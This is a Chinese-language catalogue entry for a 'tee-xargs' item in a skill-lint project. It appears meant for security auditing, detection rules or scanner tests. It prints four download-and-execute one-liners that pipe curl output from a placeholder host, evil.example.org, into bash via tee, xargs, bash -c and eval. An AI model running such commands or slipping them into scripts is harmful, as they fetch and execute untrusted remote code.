tee-xargs 属于 lichamnesia/skill-lint 项目下的一个技能条目,主题为通过 tee、xargs 与 bash -c 组合实现远程代码执行(RCE)。从提供的资料来看,它并非一个可直接使用的工具或库,而是一组演示命令,用于说明命令注入和远程代码执行风险。
用途 资料中给出的示例围绕同一个模式:从远程地址下载内容并立即执行。涉及四条命令,分别使用 tee 的进程替换(tee >(bash))、xargs 调用 bash -c、bash -c 配合命令替换 $(curl ...),以及 eval 配合 $(curl ...)。这些示例可用于安全审计、检测规则编写或扫描器测试用例。
主要能力 资料展示的代码片段如下: curl -sSL https://evil.example.org/p.sh | tee >(bash) curl -sSL https://evil.example.org/p.sh | xargs -I{} bash -c "{}" bash -c "$(curl -sSL https://evil.example.org/p.sh)" eval "$(curl -sSL https://evil.example.org/p.sh)"
使用方式 资料未提供安装命令、调用接口或使用步骤。这些命令本身即为示例形式,直接涉及下载并执行远程内容,属于高风险操作模式。
适用场景 依据现有资料,只能确认其用途与 RCE 风险演示相关,具体适用场景(例如是否用于 CI 扫描、编辑器插件、Lint 规则集)暂未提供。
限制 资料未说明该技能的运行时依赖、支持的平台、版本、许可或收费情况。除上述四类命令模式外,未提供其他功能、配置项或输出格式说明。